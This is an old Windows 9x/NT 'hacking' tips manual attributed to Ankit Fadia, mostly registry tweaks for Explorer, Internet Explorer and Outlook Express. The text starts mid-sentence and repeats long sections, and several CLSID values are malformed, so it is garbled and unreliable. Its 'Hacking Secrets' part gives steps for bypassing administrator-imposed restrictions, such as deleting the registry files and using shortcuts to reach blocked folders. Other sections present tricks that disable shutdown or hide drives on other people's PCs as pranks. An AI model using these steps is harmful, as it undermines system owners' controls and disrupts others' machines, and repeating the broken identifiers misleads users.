screensaver by simply placing the mouse cursor at the top right corner of
the screen and if you take the mouse to the bottom left corner of the
screen, the screensaver will deactivate.

Pop a banner each time Windows Boots

To pop a banner which can contain any message you want to display just
before a user is going to log on, go to the key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WinLogon

Now create a new string Value in the right pane named LegalNoticeCaption and
enter the value that you want to see in the Menu Bar. Now create yet another
new string value and name it: LegalNoticeText. Modify it and insert the
message you want to display each time Windows boots. This can be effectively
used to display the company's private policy each time the user logs on to
his NT box. It's .reg file would be:

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon]

"LegalNoticeCaption"="Caption here."

Delete the Tips of the Day to save 5KB

Windows 95 had these tips of the day which appeared on a system running a
newly installed Windows OS. These tips of the day are stored in the Windows
Registry and consume 5K of space. For those of you who are really concerned
about how much free space your hard disk has, I have the perfect trick.

To save 5K go to the following key in Regedit:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Tips

Now simply delete these tricks by selecting and pressing the DEL key.

Change the Default Locations

To change the default drive or path where Windows will look for it's
installation files, go to the key:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Setup\SourcePat
h

Now you can edit as you wish.

Secure your Desktop Icons and Settings

You can save your desktop settings and secure it from your nerdy friend by
playing with the registry. Simply launch the Registry Editor go to:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explore
r

In the right pane create a new DWORD Value named NoSaveSettings and modify
it's value to 1. Refresh and restart for the settings to get saved.

CLSID Folders Explained

Don't you just hate those stubborn stupid icons that refuse to leave the
desktop, like the Network Neighborhood icon. I am sure you want to know how
you can delete them. You may say, that is really simple, simply right click
on the concerned icon and select Delete. Well not exactly, you see when you
right click on these special folders( see entire list below)neither the
rename nor the delete option does not appear. To delete these folders, there
are two methods, the first one is using the System Policy Editor(Poledit in
the Windows installation CD)and the second is using the Registry.

Before we go on, you need to understand what CLSID values are. These
folders, like the Control Panel, Inbox, The Microsoft Network, Dial Up
Networking etc are system folders. Each system folder has a unique CLSID key
or the Class ID which is a 16-byte value which identifies an individual
object that points to a corresponding key in the registry.

To delete these system Folders from the desktop simply go to the following
registry key:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Deskto
p\Namespace{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}

To delete an icon simply delete the 16 byte CLSID value within "NameSpace".
The following are the CLSID values of the most commonly used icons:

My Briefcase:{85BBD920-42AO-1069-A2E4-08002B30309D}

Desktop: {00021400-0000-0000-C000-0000000000046}

Control Panel:{21EC2020-3AEA-1069-A2DD-08002B30309D}

Dial-Up-Networking:{992CFFA0-F557-101A-88EC-00DD01CCC48}

Fonts: {BD84B380-8CA2-1069-AB1D-08000948534}

Inbox :{00020D76-0000-0000-C000-000000000046}

My Computer :{20D04FE0-3AEA-1069-A2D8-08002B30309D}

Network Neighborhood:{208D2C60-3AEA-1069-A2D7-O8002B30309D}

Printers :{2227A280-3AEA-1069-A2DE-O8002B30309D}

Recycle Bin :{645FF040-5081-101B-9F08-00AA002F954E}

The Microsoft Network:{00028B00-0000-0000-C000-000000000046}

History: {FF393560-C2A7-11CF-BFF4-444553540000}

Winzip :{E0D79300-84BE-11CE-9641-444553540000}

For example, to delete the Recycle Bin, first note down it's CLSID value,
which is: 645FF040-5081-101B-9F08-00AA002F954E. Now go to the Namespace key
in the registry and delete the corresponding key.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Deskto
p\NameSpace\{645FF040-5081-101B-9F08-00AA002F954E}

Similarly to delete the History folder, delete the following key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Deskto
p\NameSpace\{FBF23B42-E3F0-101B-8488-00AA003E56F8}

Sometimes, you may need to play a trick on your brother or friend, well this
one teaches you how to hide all icons from the Desktop. Go to the following
registry key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explore
r

In the right pane create a new DWORD value by the name: NoDesktop and set
its value to: 1. Reboot and you will find no icons on the desktop.

Till now you simply learnt how to delete the special system folders by
deleting a registry key, but the hack would have been better if there was a
way of adding the DELETE and RENAME option to the right click context menus
of these special folders. You can actually change the right click context
menu of any system folder and add any of the following options: RENAME,
DELETE, CUT, COPY, PASTE and lots more.

This hack too requires you to know the CLSID value of the system folder
whose menu you want to customize. In this section, I have taken up Recycle
Bin as the folder whose context menu I am going to edit.

Firstly launch the registry editor and open the following registry key:

HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder.

In Case you want to edit some other folder like say the FONTS folder, then
you will open the following key:

HKEY_CLASSES_ROOT\CLSID\{CLSID VALUE HERE}\ShellFolder.

In the right pane there will be a DWORD value names attributes. Now consider
the following options:

To add the Rename option to the menu, change the value of Attributes to
50 01 00 20

To add the Delete option to the menu, change the value of Attributes to
60 01 00 20

3. To add both the Rename & Delete options to the menu, change the value of
Attributes to 70,01,00,20

4. Add Copy to the menu, change Attributes to 41 01 00 20

5. Add Cut to the menu, change Attributes to 42 01 00 20

6. Add Copy & Cut to the menu, change Attributes to 43 01 00 20

7. Add Paste to the menu, change Attributes to 44 01 00 20

8. Add Copy & Paste to the menu, change Attributes to 45 01 00 20

9. Add Cut & Paste to the menu, change Attributes to 46 01 00 20

10.Add all Cut, Copy & Paste to the menu, change Attributes to 47 01 00 20

We want to add only the Rename option to the right click context menu of the
Recycle Bin, so change the value of attributes to: 50 01 00 20. Press F5 to
refresh and then after rebooting you will find that when you right click on
the Recycle Bin a RENAME option pops up too.

To reset the default Windows options change the value of Attributes back to

40 01 00 20

The Registry File which one can create for the above process would be
something like the below:

REGEDIT4

[HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\Shell-Folder
]

"Attributes"=hex:50,01,00,20

To access say the Modem Properties in the Control Panel Folder, the normal
procedure is: Click on Start, Click on Settings> Control Panel and then wait
for the Control Panel window to pop up and then ultimately click on the
Modems icon.

Wouldn't it be lovely if you could shorten the process to: Click on Start>
Control Panel>Modems. Yes you can add the Control Panel and also all other
Special System Folders directly to the first level Start Menu. Firstly
collect the CLSID value of the folder you want to add to the start menu. I
want to add Control Panel hence the CLSID value is:
21EC2020-3AEA-1069-A2DD-08002B30309D

Now right click on the Start Button and select Open. Now create a new folder
and name it: Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}

NOTE: Do not forget the period after the 'l' in Panel. Similarly all system
folders can be added to the Start Menu.(accept My Briefcase, I think)

Deleting System Options from the Start menu

You can actually remove the Find and Run options from the start menu by
performing a simple registry hack. Again like always Launch the registry
editor and scroll down to the below key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explore
r

Right-click on the right pane and select New, DWORD Value. Name it
NoFind.(To remove the RUN option name it NoRun). Double-click the newly
create DWORD to edit it's value and enter 1 as its value. This will disable
the FIND option of the Start Menu and will also disable the default Shortcut
key(F3 for Find.)

To restore the Run or find command modify the value of the DWORD to 0 or
simply Delete the DWORD value.

Fed Up of the boring Old Yellow Folder Icons?[Drive Icons Included]

NOTE: This trick hasn't been tried on Win98.

You can easily change the boring yellow folder icons to your own
personalized icons. Simply create a text file and copy the following lines
into it:

[.ShellClassInfo]

ICONFILE=Drive:\Path\Icon_name.extension

Save this text file by the name, desktop.ini in the folder, whose icon you
want to change. Now to prevent this file from getting deleted change it's
attributes to Hidden and Read Only by using the ATTRIB command.

To change the icon of a drive, create a text file containing the following
lines:

[Autorun]

ICON=Drive:\Path\Icon_name.extension

Save this file in the root of the drive whose icon you want to change and
name it autorun.inf For Example, if you want to change the icon of a floppy,
SAVE THE icon in a:\icon_name.ico One can also create a kewl icon for the
Hard Disk and create a text file [autorun.inf] and store it in "c:\".

  Securing NT

By default, NT 4.0 displays the last person who logged onto the system. This
can be considered to be a security threat, especially in the case of those
who choose their password to be same as their Username. To disable this bug
which actually is a feature, go to the following key in the registry editor:

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon

Click and select the ReportBookOK item and create a new string value called
DontDisplayLastUserName. Modify it and set it's value to 1.

As a system administrator, you can ensure that the passwords chosen by the
users are not too lame or too easy to guess. NT has this lovely utility
called the User Manager which allows the administrator to set the age limit
of the password which forces the users to change the password after a
certain number of days. You can also set the minimum length of passwords and
prevent users to use passwords which already have been used earlier and also
enable account lockouts which will deactivate an account after a specified
number of failed login attempts.

When you log on to Win NT, you should disable Password Caching, this ensures
Single NT Domain login and also prevents secondary Windows Logon screen.

Simply copy the following lines to a plain text ASCII editor like: Notepad
and save it with an extension, .reg

----------------DISABLE.reg-----------------

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Netwo
rk]

"DisablePwdCaching"=dword:00000001

----------------DISABLE.reg-----------------

To Enable Password Caching use the following .reg file:

--------------Enable.reg-----------------

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Netwo
rk]

"DisablePwdCaching"=dword:00000000

--------------Enable.reg-----------------



Cleaning Recent Docs Menu and the RUN MRU

The Recent Docs menu can be easily disabled by editing the Registry. To do
this go to the following Key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explore
r

Now in the right pane, create a new DWORD value by the name:
NoRecentDocsMenu and set it's value to 1. Restart Explorer to save the
changes.

You can also clear the RUN MRU history. All the listings are stored in the
key:

HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMR
U

You can delete individual listings or the entire listing. To delete History
of Find listings go to:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Doc
Find Spec MRU

and delete.

Customizing the Right Click Context Menu of the Start Menu

When you right click on the start menu, only 3 options pop up: Open,
Explore, and Find. You can add your own programs to this pop up menu( which
comes up when we right click on it.) Open Regedit and go to the following
registry key:

HKEY_CLASSES_ROOT\Directory\Shell

Right click on the shell and create a new Sub Key (You can create a new
SubKey by right clicking on the Shell Key and selecting New > Key.). Type in
the name of the application you want to add to the start menu. I want to add
Notepad to the Start Menu and hence I name this new sub key, Notepad. Now
right click on the new registry key that you just created and create yet
another new key named Command. Enter the full path of the application, in
this case Notepad in the default value of Command in the right

pane. So I Modify the value of the default string value and enter the full
pathname of Notepad:

c:\wndows\notepad.exe.

Now press F5 to refresh. Now if you right click on the Start Button you will
find a new addition to the Pop Up Menu called Notepad. Clicking on it will
launch Notepad.

We can not only add but also remove the existing options in this pop up box.

To delete the Find option, go to the following registry key:

HKEY_CLASSES_ROOT\Directory\Shell\Find

Delete Find. DO NOT delete Open else you will not be able to open any
folders in the Start Menu like Programs, Accessories etc.

BMP Thumbnail As Icon

You can actually change the default BMP icon to a thumbnail version of the
actual BMP file. To do this simply go to HKCU\Paint.Picture\Default. In the
right pane change the value of default to %1. Please note however that this
will slow down the display rate in explorer if there are too many BMP
thumbnails to display. You can use other icons too, simply enter the
pathname.To restore back to the normal change the vale of default back to:
C:\Progra~1\Access~1\MSPAINT.EXE,1.

Customizing The Shortcut Arrow

All shortcuts have a tiny black arrow attached to it's icon to distinguish
from normal files. This arrow can sometimes be pretty annoying and as a
Hacker should know how to change each and everything, here goes another
trick. Launch the Registry Editor and go to:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Shell
Icons.

Now, on the right pane is a list of icons ( we found out that on some
systems, Windows 98 especially, the right pane is blank. Don't worry, just
add the value as required ). Find the value 29. If it isn't there, just add
it. The value of this string should be C:\Windows\system\shell32.dll, 29
  which means the 30th icon in shell32.dll - the first one begins with 0 ).
Now, we need blank icon to do this. Just create one with white as the whole
icon. Go here to learn how to create an icon. Once done just change the
value to C:\xxx.ico, 0 where "xxx" is the full path of the icon file and "0"
is the icon in it.

Now for some fun. If the blank icon is a bit boring, change it again. You
will find that under shell32.dll there is a gear icon, a shared folder ( the
hand ) and much more. Experiment for yourself!

Use Perl to Get List or Services Running on your NT box

Use the following Perl Script to get a list of Services running on your NT
system

--------------script.pl-----------------

#!c:\per\bin\perl.exe

use Win32::Service;

my ($key, %service, %status, $part);

Win32::Service::GetServices(' ',\%services);

foreach $key (sort keys %services) {

print "Print Name\t: $key, $services{$key}\n";

Win32::Service::GetStatus( ' ',$services{$key};

\%status);

foreach $part (keys %status) {

print "\t$part : $status{$part}\n" if($part eq "CurrentState");

}

}

-------------script.pl-------------------

Internet Explorer Tricks and Tips

Resizable Full Screen Toolbar

The Full Screen option increases the viewable area and makes surfing more
enjoyable but sometimes we need the Toolbar but also need to have extra
viewing area. Now this hack teaches you how to change the size of the
Internet Explorer toolbar. This registry hack is a bit complicated as it
involves Binary values, so to make it simple, I have included the following
registry file which will enable the resizable option of the Internet
Explorer toolbar which was present in the beta version of IE.

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar]

"Theater"=hex:0c,00,00,00,4c,00,00,00,74,00,00,00,18,00,00,00,1b,00,00,00,5c
,\

00,00,00,01,00,00,00,e0,00,00,00,a0,0f,00,00,05,00,00,00,22,00,00,00,26,00,\

00,00,02,00,00,00,21,00,00,00,a0,0f,00,00,04,00,00,00,01,00,00,00,a0,0f,00,\

00,03,00,00,00,08,00,00,00,00,00,00,00

*******************

HACKING TRUTH: Internet Explorer 5 displays the friendly version of HTTP
errors like NOT FOUND etc . They are aimed at making things easier for
newbies. If you would rather prefer to see the proper error pages for the
web server you're using, go to Tools, Internet Options and select the
Advanced tab. Then scroll down and uncheck the Show friendly http errors
box.

*******************

Making the Internet Explorer & the Explorer Toolbars Fancy

The Internet Explorer toolbar looks pretty simple. Want to make it fancy and
kewl? Why not add a background image to it. To do this kewl hack launch the
Windows Registry Editor and go to the following key:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\ Internet Explorer\Toolbar\.

Now in the right pane create a new String Value and name it BackBitmap and
modify it's value to the path of the Bitmap you want to dress it up with by
rightclicking on it and choosing Modify. When you reboot the Internet
Explorer and the Windows Explorer toolbars will have a new look.

Change Internet Explorer's Caption

Don't like the caption of Internet Explorer caption? Want to change it? Open
the registry editor and go to

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main.

In the right pane create a new String Value names Window Title (Note the
space between Window and Title). Right click on this newly created String
Value and select Modify. Type in the new caption you want to be displayed.
Restart for the settings to take place.

Now let's move on to some Outlook Express Tricks.

Colorful Background

Don't like the boring background colors of Outlook Express? To change it
launch the Windows Registry Editor and scroll down to the

HKEY_CURRENT_USER\Software\Microsoft\Internet Mail And News key.

On the left pane, click on ColorCycle or select Edit and Modify in the menu.
Now change the value to 1. Close and restart. Now, launch Outlook Express
and whenever you open up a New Message, hold down ctrl-shift and tap the z
key to scroll to change the background color. Repeat the keystroke to cycle
through the colors.

Internet Explorer 5 Hidden Features


Microsoft Internet Explorer 5 has several hidden features which can be
controlled using the Windows Registry. Open your registry and scroll down to
the following key:

HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions

Create a new DWORD value named x(See complete list of values of x below) and
modify it's value to 1 to enable it and to 0 to disable it.

NoBrowserClose : Disable the option of closing Internet Explorer.

NoBrowserContextMenu : Disable right-click context menu.

NoBrowserOptions : Disable the Tools / Internet Options menu.

NoBrowserSaveAs : Disable the ability to Save As.

NoFavorites : Disable the Favorites.

NoFileNew : Disable the File / New command.

NoFileOpen : Disable the File / Open command.

NoFindFiles : Disable the Find Files command.

NoSelectDownloadDir : Disable the option of selecting a download directory.

NoTheaterMode : Disable the Full Screen view option.

Hacking Secrets

Almost all system administrators make certain changes and make the system
restricted. System Administrators can hide the RUN option, the FIND command,
the entire Control Panel, drives in My Computer like D: A: etc. They can
even restrict activities of a hacker my disabling or hiding, even the
tiniest options or tools.

Most commonly these restrictions are imposed locally and are controlled by
the Windows Registry. But sometimes the smart system administrators control
the activities of the hacker by imposing restrictions remotely through the
main server.

Poledit or Policy Editor is a small kewl tool which is being commonly used
by system administrators to alter the settings of a system. This utility is
not installed by default by Windows. You need to install in manually from
the Windows 98 Installation Kit from the Resource Kit folder. user.dat file
that we saw earlier.

The Policy Editor tool imposes restrictions on the user's system by editing
the user.dat file which in turn means that it edits the Windows Registry to
change the settings. It can be used to control or restrict access to each
and every folder and option you could ever think of. It has the power to
even restrict access to individual folders, files, the Control Panel, MS
DOS, the drives available etc. Sometimes this software does make life really
hard for a Hacker. So how can we remove the restrictions imposed by the
Policy Editor? Well read ahead to learn more.

You see the Policy Editor is not the only way to restrict a user's
activities. As we already know that the Policy Editor edits the Windows
Registry(user.dat) file to impose such restrictions. So this in turn would
mean that we can directly make changes to the Windows Registry using a .reg
file or directly to remove or add restrictions.

Launch Regedit and go to the following Registry Key:

HKEY_CURRENT_USER/Software/Microsoft/CurrentVersion/Policies

Under this key, there will definitely be a key named explorer. Now under
this explorer key we can create new DWORD values and modify it's value to 1
in order to impose the restriction. If you want to remove the Restriction,
then you can simply delete the respective DWORD values or instead change
their values to 0. The following is a list of DWORD values that can be
created under the Explorer Key-:

NoDeletePrinter: Disables Deletion of already installed Printers

NoAddPrinter: Disables Addition of new Printers

NoRun : Disables or hides the Run Command

NoSetFolders: Removes Folders from the Settings option on Start Menu
(Control Panel, Printers, Taskbar)

NoSetTaskbar: Removes Taskbar system folder from the Settings option on
Start Menu

NoFind: Removes the Find Tool (Start >Find)

NoDrives: Hides and does not display any Drives in My Computer

NoNetHood: Hides or removes the Network Neighborhood icon from the desktop

NoDesktop: Hides all items including, file, folders and system folders from
the Desktop

NoClose: Disables Shutdown and prevents the user from normally shutting down
Windows.

NoSaveSettings: Means to say, 'Don't save settings on exit'

DisableRegistryTools: Disable Registry Editing Tools (If you disable this
option, the Windows Registry Editor(regedit.exe) too

will not work.)

NoRecentDocsHistory: Removes Recent Document system folder from the Start
Menu (IE 4 and above)

ClearRecentDocsOnExit: Clears the Recent Documents system folder on Exit.

Nolnternetlcon: Removes the Internet (system folder) icon from the Desktop

Under the same key:
HKEY_CURRENT_USER/Software/Microsoft/CurrentVersion/Policies you can create
new subkeys other than the already existing Explorer key. Now create a new
key and name it System. Under this new key, system we can create the
following new DWORD values(1 for enabling the particular option and 0 for
disabling the particular option):

NODispCPL: Hides Control Panel

NoDispBackgroundPage: Hides Background page.

NoDispScrsavPage: Hides Screen Saver Page

NoDispAppearancePage: Hides Appearance Page

NoDispSettingsPage: Hides Settings Page

NoSecCPL: Disables Password Control Panel

NoPwdPage: Hides Password Change Page

NoAdminPaqe: Hides Remote Administration Page

NoProfilePage: Hides User Profiles Page

NoDevMgrPage: Hides Device Manager Page

NoConfigPage: Hides Hardware Profiles Page

NoFileSysPage: Hides File System Button

NoVirtMemPage: Hides Virtual Memory Button

Similarly, if we create a new subkey named Network, we can add the following
DWORD values under it(1 for enabling the particular option and 0 for
disabling the particular option):

NoNetSetupSecurityPage: Hides Network Security Page

NoNelSetup: Hides or disables the Network option in the Control Panel

NoNetSetupIDPage: Hides the Identification Page

NoNetSetupSecurityPage: Hides the Access Control Page

NoFileSharingControl: Disables File Sharing Controls

NoPrintSharing: Disables Print Sharing Controls

Similarly, if we create a new subkey named WinOldApp, we can add the
following DWORD values under it(1 for enabling the particular option and 0
for disabling the particular option):

Disabled: Disable MS-DOS Prompt

NoRealMode: Disable Single-Mode MS-DOS.

So you see if you have access to the Windows Registry, then you can easily
create new DWORD values and set heir value to 1 for enabling the particular
option and 0 for disabling the particular option. But Sometimes, access to
the Windows Registry is blocked. So what do you do? Go to the Windows
Directory and delete either user.dat or system.dat (These 2 files constitute
the Windows Registry.) and reboot. As soon as Windows logs in, it will
display a Warning Message informing you about an error in the Windows
Registry. Simply ignore this Warning Message and Press CTRL+DEL+ALT to get
out of this warning message.(Do not press OK) You will find that all
restrictions have been removed.

The most kind of restriction found quite commonly is the Specific Folder
Restriction, in which users are not allowed access to specific folders, the
most common being the Windows folder, or sometimes even access to My
Computer is blocked. In effect, you simply cannot seem to access the
important kewl files which are needed by you to do remove restrictions. What
do you? Well use the RUN command. (START >RUN). But unfortunately a system
administrator who is intelligent enough to block access to specific folder,
would definitely have blocked access to the RUN command. Again we are stuck.

Windows is supposed to be the most User Friendly Operating System on earth.
(At least Microsoft Says so.)

It gives the User an option to do the same thing in various ways. You see
the RUN command is only the most convenient option of launching
applications, but not the only way. In Windows you can create shortcuts to
almost anything from a file, folder to a Web URL. So say your system
administrator has blocked access to the c:\windows\system folder and you
need to access it. What do you do? Simply create a Shortcut to it. To do
this right click anywhere on the desktop and select New > Shortcut. A new
window titled Create Shortcut pops up. Type in the path of the restricted
folder you wish to access, in this case c:\windows\system. Click Next, Enter
the friendly name of the Shortcut and then click Finish. Now you can access
the restricted folder by simply double clicking on the shortcut icon. Well
that shows how protected and secure *ahem Windows *ahem is.

****************

HACKING TRUTH: Sometimes when you try to delete a file or a folder, Windows
displays an error message saying that the file is protected. This simply
means that the file is write protected, or in other words the R option is +.
Get it? Anyway, you can stop Windows from displaying this error message and
straightaway delete this file by changing its attributes to Non Read Only.
This can be done by Right Clicking on the file, selecting Properties and
then

unselecting the Read Only Option.

***************

There is yet another way of accessing restricted folders. Use see, DOS has a
lovely command known as START. Its general syntax is:

START application_path

It does do what it seems to do, start applications. So in you have access to
DOS then you can type in the START command to get access to the restricted
folder. Now mostly access to DOS too would be blocked. So again you can use
the shortcut trick to launch, c:\command.com or c:\windows\command.com.
(Command.com is the file which launches MS DOS).

Accessing Restricted Drives.

The problem with most system administrators is that they think that the
users or Hackers too are stupid. Almost all system administrators use the
Registry Trick (Explained Earlier) to hide all drives in My Computer. So in
order to unhide or display all drives, simply delete that particular
key.(Refer to beginning of Untold Secrets Section.)

Some systems have the floppy disk disabled through the BIOS. On those
systems if the BIOS is protected, you may need to crack the BIOS password.
(For that Refer to the Windows Hacking Chapter). Sometimes making drives
readable (Removing R +) and then creating Shortcuts to them also helps us to
get access to them.

Further Changing your Operating System's Looks by editing .htt files

If you have installed Windows Desktop Update and have the view as Web Page
option enabled, you can customise the way the folder looks by selecting View
> Customise this folder. Here you can change the background and other things
about that particular folder. Well that is pretty lame, right? We hackers
already know things as lame as that. Read on for some kewl stuff.

Well, you could also change the default that is stored in a Hidden HTML
Template file (I think so..) which is nothing but a HTML document with a
.htt extension. This .htt file is found at: %systemroot%\web\folder.htt.

The %systemroot% stands for the drive in which Windows is Installed, which
is normally C:

You can edit these .htt files almost just like you edit normal .HTM or .HTML
files. Simply open them in an ASCII editor like Notepad. The following is a
list of .htt files on your system which control various folders and which
can be edited to customise the way various folders look.

controlp.htt Control Panel

printers.htt Printers

mycomp.htt My Computer

safemode.htt Safe Mode

All these files are found in the web folder in %systemfolder%. The
folder.htt file has a line:

'Here's a good place to add a few lines of your own"

which is the place where you can add your own A HREF links. These links
would then appear in the folder whose folder.htt file you edited. All this
might sound really easy and simple, but you see these .htt files do not
contain normal HTML code, instead they contain a mixture of HTML and web
bots. Hence they can be difficult for newbies to understand.

Well that's it for now, more tricks later, till then goodbye.

Ankit Fadia

ankit@...

Get the Archive of Manuals [EVERYTHING YOU DREAMT OFF] written by Ankit
Fadia

At his mailing list.

To get the manuals in your Inbox join his mailing list by sending an email
to:

programmingforhackers-subscribe@egroups.com








______________________________________________________________________

Untold Windows Tips and Secrets By Ankit Fadia ankit@...

_______________________________________________________________________

Welcome to another Hacking Truths Manual. This time I have a collection of
Tips and Tricks which no body normally knows, the secrets which Microsoft is
afraid to tell the people, the information which you will seldom find all
gathered up and arranged in a single file. To fully reap this Manual you
need to have a basic understanding of the Windows Registry, as almost all
the Tricks and Tips involve this file.

****************

Important Note: Before you read on, you need to keep one thing in mind.
Whenever you make changes to the Windows Registry you need to Refresh it
before the changes take place. Simply press F5 to refresh the registry and
enable the changes. If this does not work Restart your system

****************

Exiting Windows the Cool and Quick Way

Normally it takes a hell lot of time just Shutting down Windows, you have to
move your mouse to the Start Button, click on it, move it again over Shut
Down, click, then move it over the necessary option and click, then move the
cursor over the OK button and once again (you guessed it) click.This whole
process can be shortened by creating shortcuts on the Desktop which will
shut down Windows at the click of a button. Start by creating a new
shortcut( right click and select New> Shortcut). Then in the command line
box, type (without the quotes.)

'C:\windows\rundll.exe user.exe,exitwindowsexec'

This Shortcut on clicking will restart Windows immediately without any
Warning. To create a Shortcut to Restarting Windows, type the following in
the Command Line box:

'c:\windows\rundll.exe user.exe,exitwindows'

This Shortcut on clicking will shut down Windows immediately without any
Warning.

Ban Shutdowns : A trick to Play on Lamers

This is a neat trick you can play on that lamer that has a huge ego, in this
section I teach you, how to disable the Shut Down option in the Shut Down
Dialog Box. This trick involves editing the registry, so please make
backups. Launch regedit.exe and go to :

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explore
r

In the right pane look for the NoClose Key. If it is not already there then
create it by right clicking in the right pane and selecting New > String
Value.(Name it NoCloseKey ) Now once you see the NoCloseKey in the right
pane, right click on it and select Modify. Then Type 1 in the Value Data
Box.

Doing the above on a Win98 system disables the Shut Down option in the Shut
Down Dialog Box. But on a Win95 machine if the value of NoCloseKey is set to
1 then click on the Start > Shut Down button displays the following error
message:

This operation has been cancelled due to restrictions in effect on this
computer. Please contact your system administrator.

You can enable the shut down option by changing the value of NoCloseKey to 0
or simply deleting the particular entry i.e. deleting NoCloseKey.

Instead of performing the above difficult to remember process, simply save
the following with an extension of .reg and add it's contents to the
registry by double clicking on it.

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explor
er]

"NoClose"="1"

Disabling Display of Drives in My Computer

This is yet another trick you can play on your geek friend. To disable the
display of local or networked drives when you click My Computer go to :

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explore
r

Now in the right pane create a new DWORD item and name it NoDrives. Now
modify it's value and set it to 3FFFFFF (Hexadecimal) Now press F5 to
refresh. When you click on My Computer, no drives will be shown. To enable
display of drives in My Computer, simply delete this DWORD item. It's .reg
file is as follows:

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explor
er]

"NoDrives"=dword:03ffffff

Take Over the Screen Saver

To activate and deactivate the screen saver whenever you want, goto the
following registry key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ScreenSavers

Now add a new string value and name it Mouse Corners. Edit this new value
to -Y-N. Press F5 to refresh the registry. Voila! Now you can activate your
screensaver by simply placing the mouse cursor at the top right corner of
the screen and if you take the mouse to the bottom left corner of the
screen, the screensaver will deactivate.

Pop a banner each time Windows Boots

To pop a banner which can contain any message you want to display just
before a user is going to log on, go to the key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WinLogon

Now create a new string Value in the right pane named LegalNoticeCaption and
enter the value that you want to see in the Menu Bar. Now create yet another
new string value and name it: LegalNoticeText. Modify it and insert the
message you want to display each time Windows boots. This can be effectively
used to display the company's private policy each time the user logs on to
his NT box. It's .reg file would be:

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon]

"LegalNoticeCaption"="Caption here."

Delete the Tips of the Day to save 5KB

Windows 95 had these tips of the day which appeared on a system running a
newly installed Windows OS. These tips of the day are stored in the Windows
Registry and consume 5K of space. For those of you who are really concerned
about how much free space your hard disk has, I have the perfect trick.

To save 5K go to the following key in Regedit:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Tips

Now simply delete these tricks by selecting and pressing the DEL key.

Change the Default Locations

To change the default drive or path where Windows will look for it's
installation files, go to the key:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Setup\SourcePat
h

Now you can edit as you wish.

Secure your Desktop Icons and Settings

You can save your desktop settings and secure it from your nerdy friend by
playing with the registry. Simply launch the Registry Editor go to:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explore
r

In the right pane create a new DWORD Value named NoSaveSettings and modify
it's value to 1. Refresh and restart for the settings to get saved.

CLSID Folders Explained

Don't you just hate those stubborn stupid icons that refuse to leave the
desktop, like the Network Neighborhood icon. I am sure you want to know how
you can delete them. You may say, that is really simple, simply right click
on the concerned icon and select Delete. Well not exactly, you see when you
right click on these special folders( see entire list below)neither the
rename nor the delete option does not appear. To delete these folders, there
are two methods, the first one is using the System Policy Editor(Poledit in
the Windows installation CD)and the second is using the Registry.

Before we go on, you need to understand what CLSID values are. These
folders, like the Control Panel, Inbox, The Microsoft Network, Dial Up
Networking etc are system folders. Each system folder has a unique CLSID key
or the Class ID which is a 16-byte value which identifies an individual
object that points to a corresponding key in the registry.

To delete these system Folders from the desktop simply go to the following
registry key:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Deskto
p\Namespace{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}

To delete an icon simply delete the 16 byte CLSID value within "NameSpace".
The following are the CLSID values of the most commonly used icons:

My Briefcase:{85BBD920-42AO-1069-A2E4-08002B30309D}

Desktop: {00021400-0000-0000-C000-0000000000046}

Control Panel:{21EC2020-3AEA-1069-A2DD-08002B30309D}

Dial-Up-Networking:{992CFFA0-F557-101A-88EC-00DD01CCC48}

Fonts: {BD84B380-8CA2-1069-AB1D-08000948534}

Inbox :{00020D76-0000-0000-C000-000000000046}

My Computer :{20D04FE0-3AEA-1069-A2D8-08002B30309D}

Network Neighborhood:{208D2C60-3AEA-1069-A2D7-O8002B30309D}

